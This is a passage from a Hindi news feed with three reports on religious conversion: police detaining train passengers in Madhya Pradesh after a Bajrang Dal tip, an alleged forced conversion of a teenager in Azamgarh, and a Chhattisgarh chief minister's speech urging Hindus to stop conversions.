हालांकि, पुलिस को सूचना मिलते ही घेराबंदी कर दी गई। सबसे पहले विदिशा के गंजबासौदा में ट्रेन को रोककर 11 यात्रियों को उतार लिया गया। इसके बाद बीना स्टेशन पर 4 यात्रियों को सुरक्षित बचाया गया। यहां यह पता चला कि कोच एस-1 में तीन यात्री और हैं। इसके बाद, ग्वालियर रेलवे स्टेशन पर पातालकोट एक्सप्रेस को 30 मिनट तक रोककर सघन जांच की गई, जिसके बाद तीन यात्रियों को पकड़ा गया। ग्वालियर जीआरपी ने इन तीनों को गंजबासौदा पुलिस के हवाले कर दिया।

ग्वालियर जीआरपी पुलिस के मुताबिक बजरंग दल के पदाधिकारियों ने सूचना दी थी कि मध्यप्रदेश के छिंदवाड़ा से बड़ी संख्या में गरीब और मजदूर वर्ग के लोगों को धर्मांतरण के लिए पंजाब के जालंधर चर्च ले जाया जा रहा है। वहां इन लोगों को पैसों का प्रलोभन देकर धर्म परिवर्तन कराया जाएगा।सूचना देने वालों ने बताया कि छिंदवाड़ा के सेजनाथ सूर्यवंशी और विजय कुमार इन लोगों को लेकर पातालकोट एक्सप्रेस ट्रेन में सवार हैं।

पकड़े गए यात्रियों ने पुलिस को बताया कि सेजनाथ और विजय कुमार कुछ महीने पहले उनसे मिले थे। उन्होंने बताया था कि ईसाई धर्म अपनाने पर उन्हें कई फायदे होंगे, एक लाख रुपए मिलेंगे, उनके बच्चों को अच्छे स्कूल में पढ़ाया जाएगा और वे विदेश जाने का अवसर पा सकेंगे।यही लोग उन्हें जालंधर, पंजाब के चर्च में ले जा रहे थे।

आरोपियों ने यह भी बताया कि इससे पहले उन्हें फिरोजपुर के चर्च भी ले जाया जा चुका है। इस मामले में ग्वालियर जीआरपी ने बताया कि पकड़े गए तीनों यात्रियों को गंजबासौदा जीआरपी को सौंप दिया गया है। पुलिस इस मामले में आगे की जांच कर रही है।.

बजरंग दल ने दी थी जानकारी ग्वालियर जीआरपी से मिली जानकारी के अनुसार, बुधवार को भोपाल पुलिस को बजरंग दल के पदाधिकारियों ने सूचना दी थी कि छिंदवाड़ा से बड़ी संख्या में गरीब और मजदूर वर्ग के लोगों को धर्मांतरण के लिए पंजाब के जालंधर चर्च ले जाया जा रहा है। वहां इन लोगों को पैसों का प्रलोभन देकर धर्म परिवर्तन कराया जाएगा।

सूचना देने वालों ने बताया कि छिंदवाड़ा के सेजनाथ सूर्यवंशी और विजय कुमार इन लोगों को लेकर पातालकोट एक्सप्रेस ट्रेन के एस-1, एस-2, एस-3, एस-4, एस-5 कोच में सवार हैं। इस पर भोपाल पुलिस सक्रिय हुई, लेकिन स्टेशन पहुंचने तक ट्रेन रवाना हो चुकी थी। इसके बाद आगे विदिशा के गंजबासौदा में पुलिस और जीआरपी को सूचना दी गई।

गंजबासौदा स्टेशन पर ट्रेन को रोककर पुलिस ने 11 यात्रियों को पहचान कर हिरासत में लिया, जिनमें सेजनाथ और विजय भी शामिल थे। जब ट्रेन यहां से निकली तो पता चला कि कुछ और लोग अभी भी ट्रेन में सवार हैं। इसके बाद बीना स्टेशन पर पुलिस ने एस-4 कोच से चार और यात्रियों को पकड़ा।

बीना स्टेशन पर भी पकड़े गए यात्री बीना में पकड़े गए यात्रियों से पूछताछ के बाद पता चला कि ट्रेन में उनके तीन और साथी मौजूद हैं, जो एस-1 और एस-2 कोच में बैठे हैं। इसके बाद ग्वालियर पुलिस और जीआरपी को सूचना दी गई। रात 11:30 बजे जब पातालकोट एक्सप्रेस ग्वालियर पहुंची तो पुलिस ने घेराबंदी कर दी।

पुलिस को देखकर धर्मांतरण के लिए जा रहे यात्री अन्य कोचों में छिपने की कोशिश करने लगे। करीब 30 मिनट तक पुलिस और जीआरपी ने ट्रेन की तलाशी ली और आखिरकार एस-5 कोच से तीन यात्रियों को पकड़ लिया। इनमें शामिल हैं,

    रितेश प्रकाश (37 वर्ष) – पिता का नाम जान प्रकाश, निवासी मिशन चर्च कंपाउंड
    मना विश्वकर्मा (45 वर्ष) – पिता का नाम फगनलाल, निवासी नोनिया करवल परतला
    राकेश (41 वर्ष) – पिता का नाम विजय नागवंशी, निवासी छिंदवाड़ा

लालच देकर धर्म परिवर्तन की कोशिश पकड़े गए यात्रियों ने पुलिस को बताया कि सेजनाथ और विजय कुमार कुछ महीने पहले उनसे मिले थे। उन्होंने बताया था कि ईसाई धर्म अपनाने पर उन्हें कई फायदे होंगे, एक लाख रुपए मिलेंगे, उनके बच्चों को अच्छे स्कूल में पढ़ाया जाएगा और वे विदेश जाने का अवसर पा सकेंगे।

यही लोग उन्हें जालंधर, पंजाब के चर्च में ले जा रहे थे। आरोपियों ने यह भी बताया कि इससे पहले उन्हें फिरोजपुर के चर्च भी ले जाया जा चुका है।

इस मामले में ग्वालियर जीआरपी ने बताया कि पकड़े गए तीनों यात्रियों को गंजबासौदा जीआरपी को सौंप दिया गया है। पुलिस इस मामले में आगे की जांच कर रही है।

]]>
अनुज का जबरन खतना कराकर पढ़वाई नमाज! बना दिया नूर मोहम्मद https://pratyushaashakinayikiran.com/?p=130126 Sat, 08 Feb 2025 12:26:00 +0000 https://pratyushaashakinayikiran.com/?p=130126 आजमगढ़
 उत्तर प्रदेश में आजमगढ़ जिले के रहने वाले एक किशोर को पहले बहला फुसलाकर बाराबंकी ले जाया गया। फिर उसका धर्म परिवर्तन कराया गया। उसका खतना कराकर उससे नमाज पढ़वाई गई। इसका खुलासा उस समय हुआ जब पीड़ित किशोर अपना बयान दर्ज कराने के लिए आजमगढ़ के किशोर न्याय बोर्ड के आफिस पहुंचा। इस मामले में बाराबंकी में तीन लोगों के खिलाफ मुकदमा दर्ज किया गया है।

बाराबंकी में यह तहरीर विनय सिंह राजपूत ने दर्ज कराई है। उन्होंने पुलिस को बताया कि वह अपने सहयोगी बृजेश कुमार वैश्य, जिलाध्यक्ष, विश्व हिंदू परिषद, बाराबंकी के साथ निजी कार्य से बाराबंकी में घूम रहे थे। जब वे पल्हरी चौराहे के पास स्थित हिंद मेडिकल स्टोर के पास खड़े थे, तभी एक लड़का आया, जिसने अपना नाम नूर मोहम्मद बताया और कहा कि वह अतरौलिया, आजमगढ़ का रहने वाला है। फिर उसने अपना असली नाम अनुज कुमार बताया और बताया कि वह हिंदू हरिजन बिरादरी से है।

बालक ने बताया कि मुर्शीद और उसके पिता रियासत अली, जो कबाड़ी का काम करते हैं, उसे बहलाकर अपने साथ ले आए थे। वे उसे अफीफा रेस्टोरेंट में काम करने के लिए रखे थे। एक दिन रेस्टोरेंट के मालिक ने उससे उसके परिवार के बारे में पूछा, तो उसने बताया कि उसका परिवार नहीं है। उसके बाद उसे अस्पताल ले जाकर उसके लिंग के ऊपरी भाग की स्किन काटी गई और उसका इलाज किया गया। बालक को यह बताया गया कि अब से उसका नाम नूर मोहम्मद होगा और वह मुस्लिम धर्म को अपनाएगा। इसके बाद वह लोग थाने पहुंचे और तहरीर दी।

तहरीर के आधार पर पुलिस ने धर्म परिवर्तन और शारीरिक शोषण के आरोप में तीन लोगों मुर्शीद, उसके पिता रियासत अली और अफीफा रेस्टोरेंट के मालिक के खिलाफ मुकदमा पंजीकृत किया है। इसके बाद बाराबंकी पुलिस ने किशोर न्याय बोर्ड आजमगढ़ को मामला प्रेषित कर दिया। शुक्रवार को उक्त किशोर अपना बयान दर्ज कराने के लिए किशोर न्याय बोर्ड पहुंचा। इस दौरान उसने आप बीती बताई।

इस संबंध में किशोर न्याय बोर्ड के बेंच आफ मजिस्ट्रेट अखिलेश सिंह ने बताया कि एक मामला आया है पुलिस लेकर आई है वह बच्चा बिना बताए घर से भाग गया था। बच्चे ने बताया कि मुर्शीद नाम के लड़के से उसकी दोस्ती हो गई थी वही उसे बहला फुसलाकर काम दिलाने के बहाने बाराबंकी लेकर चला गया। मुर्शीद ने इस बच्चे को एक होटल में काम दिलवा दिया। फिर उसका खतना करवाकर मुस्लिम बना दिया गया। जिस होटल में यह बच्चा काम करता था कुछ लोग वहां खाना खाने गए थे बच्चे ने आपबीती बताई।

इसके बाद बाराबंकी में तीन लोगों के खिलाफ एससी एसटी का मुकदमा दर्ज किया गया। यह बच्चा डेढ़ महीने बाल सुधार गृह में था । उसके बाद पुलिस लेकर यहां आई है। बच्चे को उसकी मां के सुपुर्द कर दिया गया है। उनका एक बच्चे की काउंसलिंग की गई है। बच्चा चूंकी अभी डरा हुआ है इसलिए पूरी बात नहीं बता रहा है लेकिन बच्चे के धर्म परिवर्तन के पीछे कोई एक बड़ा गैंग काम कर रहा है इसकी संभावना है।

इस पूरे मामले में चाइल्ड कमेटी के चेयरमैन रजनीश श्रीवास्तव ने बताया कि बाराबंकी में मुकदमा दर्ज हुआ है। जिले का मामला होने के कारण बाराबंकी से इसे हमारे यहां ट्रांसफर किया गया है। इसमें लड़के का धर्म परिवर्तन कराकर खतना करने और नमाज पढ़वाने का आरोप है। आज किशोर को इस मामले में बयान दर्ज कराने के लिए बुलाया गया था।

]]>
धमतरी में सीएम साय ने गौरी-शंकर कथा सुनकर की अपील, धर्मांतरण रोकना हर हिंदू भाई-बहन का है दायित्व https://pratyushaashakinayikiran.com/?p=33230 Wed, 22 May 2024 19:15:00 +0000 https://pratyushaashakinayikiran.com/?p=33230 धमतरी.

कुरूद के ग्राम भरदा मैदान में शिव महापुराण गौरी शंकर कथा का आयोजन किया जा रहा है। मंगलवार को प्रदेश के मुख्यमंत्री विष्णु देव साय अपनी पत्नी कौशल्या साय के साथ कथा श्रवण करने पहुंचे। इस दौरान उनके साथ कुरूद विधायक अजय चंद्राकर भी मौजूद रहे। व्यास पीठ पर पंडित प्रदीप मिश्रा से आशीर्वाद लेने के बाद उन्होंने लोगों से धर्मांतरण रोकने के लिए अपील की है।

सीएम साय ने लोगों से अपील करते हुए कहा कि छत्तीसगढ़ के अंदर जो धर्मांतरण का काम चल रहा है अगर हम सब लोग अपने प्रयास से यहां से कथा सुनकर ऊर्जा लेकर जाएं और अगर अपने प्रयास से अपने-अपने क्षेत्र में धर्मांतरण को रोक पाएं, गौ हत्या को रोक पाएं तो इस तरह से कथा सुनने की सार्थकता और बढ़ जाएगी। देश के अंदर में धर्मांतरण रोकना हम सभी हिंदू भाई-बहनों का भी दायित्व है कि हम सब लोग प्रयास करें कि अपने अगल-बगल आसपास धर्मांतरण नहीं हो। हम लोग अपने हिंदू भाइयों से लगातार संपर्क में रहें तो निश्चित रूप से धर्मांतरण पर लगाम लगेगी। व्यासपीठ से कवर्धा हादसे में मृतकों को श्रद्धांजलि देते हुए कैलाश में स्थान देने की प्रार्थना की गई। उन्होंने आगे कहा कि कहा कि यह छत्तीसगढ़ का सौभाग्य है कि माता कौशल्या की धरती पर इतनी बड़ी शिव पुराण कथा के आयोजन में पूज्य प्रदीप मिश्रा पहुंचे हैं। इसके लिए बहुत- बहुत धन्यवाद करता हूं। दूरदराज से लाखों की संख्या में यहां पर हम सब लोग उपस्थित हो पा रहे हैं। वैसे तो छत्तीसगढ़ माता कौशल्या की धरती है और ऋषि मुनियों का धाम है। भगवान राम ने अपने 14 साल के वनवास काल का अधिकांश समय हमारे छत्तीसगढ़ के क्षेत्र में बिताया। यही छत्तीसगढ़ है जहां पर शिवरीनारायण है, जहां पर सबरी माता का धाम है, जहां पर भगवान झूठे बेर खाए थे।

]]>